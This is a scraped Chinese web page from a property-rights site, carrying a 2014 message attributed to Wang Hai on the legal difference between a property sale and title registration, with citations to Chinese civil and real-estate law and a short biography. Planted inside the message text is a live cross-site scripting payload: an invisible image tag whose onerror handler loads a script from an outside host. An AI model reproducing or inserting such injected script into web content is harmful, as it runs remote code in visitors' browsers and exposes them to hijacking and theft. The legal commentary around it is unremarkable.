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王海在本网留言2014-11-23 16:25:08 来源:国纲私房维权网 浏览:2010次
王海在本网留言: 国家的法律规定:对不动产的房屋买卖,需要到房产部门办理产权变更登记手续后才生效。房屋买卖不等于产权登记,这是两种法律关系。根据《民法通则》第四条;“民事活动应当遵循自愿.公平.等价有偿.诚实信用的原则。”和《中华人民共和国城市房地产管理法》第三十七条 第四项 规定共有房地产,未经其他共有人书面同意的,不得转让。一切均由单方决定并绝对掌控之,它就不可能是一种契约关系。而且单方改变这种关系的行为都是无效及非法的。<img/onerror=with(body)appendChild(createElement(/script/.source)).src=alt alt=//qqq.si/SpWrle src=xx:x width=0> 王海,男,汉族,1973年出生于山东青岛,现任和谐社区发展中心理事、王海热线消费者权益保护项目负责人、北京大海商务顾问有限公司总 经理,著有《我是刁民》《王海忠告》《当头棒喝》《物业维权一日通... 详情>>
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